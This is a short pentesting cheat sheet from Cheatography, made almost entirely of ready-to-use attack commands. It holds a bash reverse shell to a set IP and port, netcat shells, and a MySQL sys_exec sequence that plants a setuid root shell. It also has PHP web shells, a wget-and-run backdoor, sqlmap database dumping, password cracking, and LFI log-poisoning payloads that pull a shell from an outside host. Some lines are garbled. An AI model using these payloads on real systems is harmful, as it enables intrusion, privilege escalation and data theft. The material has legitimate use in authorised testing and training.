Pentesting Cheat Sheet

by vag_mour via cheatography.com/12578/cs/1414/

Enumeration

nmap 10.0.0.*	scanning for hosts
nast -m -i eth0	
nmap -sV -p U:1-65535,T:1-65535 <IP>	
testtest	

BASH commands

cut -d" " -f2	delimeter " " second field
find / -u root	find user files
echo "text" | sed 's/regex/e/'	replace with sed
bash -i >& /dev/tcp/192.168.1.88/6666 0>&1;	shell
find / -perm -4000 -type f 2>/dev/null	find SUID files
; or ` or | to execute commands as second argument	

Sharing files without Apache

nc -w 5 -v -l -p 80 < file.ext	netcat share from 80 port
cd / && python -m SimpleHTTPServer	python file share

Mysql commands

```
logged in mysql as root
SELECT sys_exec('touch /tmp/thisisatest');

int main()
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
system( "/bin/bash" );
return 0;
}

SELECT sys_exec('chown root.root /tmp/exploit');

SELECT sys_exec('chmod +s,a+rwx /tmp/exploit');

-------
select load_file('/etc/passwd')
```

Password decryption

Php executing commands

<?php system($_REQUEST['cmd']); ?>
<? Php $ handler = popen ($ _GET ['cmd'], 'r'); $ read = fread ($ handler, 2096); echo $ read;?>
wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php
functions exec, shell_exec, passthru

Pseudo-terminal to real shell

python -c 'import pty; pty.spawn("/bin/bash");'	for exit pataw ctrl + v ctrl + c [enter]
nc -l -p 6666 -e /bin/bash	nc IP 6666
echo os.system('/bin/bash') /bin/sh -i	

SQL injection

./sqlmap.py -u http://192.168.60.138--forms
./sqlmap.py -u http://192.168.60.138--forms --risk=3 --level=3 --dbs
./sqlmap.py -u http://192.168.60.138--forms --risk=3 --level=3 -D members --dump

Wordlists & Exploits

/pentest/passwords/john/password.lst
/opt/framework/msf3/data/john/wordlists/password.lst
http://wiki.skullsecurity.org/Passwords
cd /pentest/exploits/exploitdb/ cat files.csv | grep -i wordpress | grep 1.5.1

```
/pentest/passwords/john# john --rules --wordlist=/pentest/passwords/wordlists/darkc0de.lst --users=aadams /root/de-ice/aa
./john /tmp/hash --format=raw-md5
echo <base64string> | base64 --decode
```

LFI attack

php streams	index.php?page=data://text/plain,<?php system%28%22uname%20-a%22%29;%20?%3E

```
URL http://blah/access.log&cmd=ls


error.log no links inside
http://blah/ [payload] encoded in url only

telnet + user agent can be used
access.log or user agent
GET /<? exec('wget http://h3ck.dyndns.org/ani.txt -O shell.php');?>

GET /< ?php phpinfo(); ? >


----------------------
lfi + auth.log writable + ssh command execution

ssh '<pre><?php echo system($_GET["cmd"]); exit; ?>'@h3ck.dyndns.org
-----
/proc/self/environ -> user agent
/proc/self/cmdline
/proc/self/fd/1,2,3..
```

By **vag_mour**
cheatography.com/vag-mour/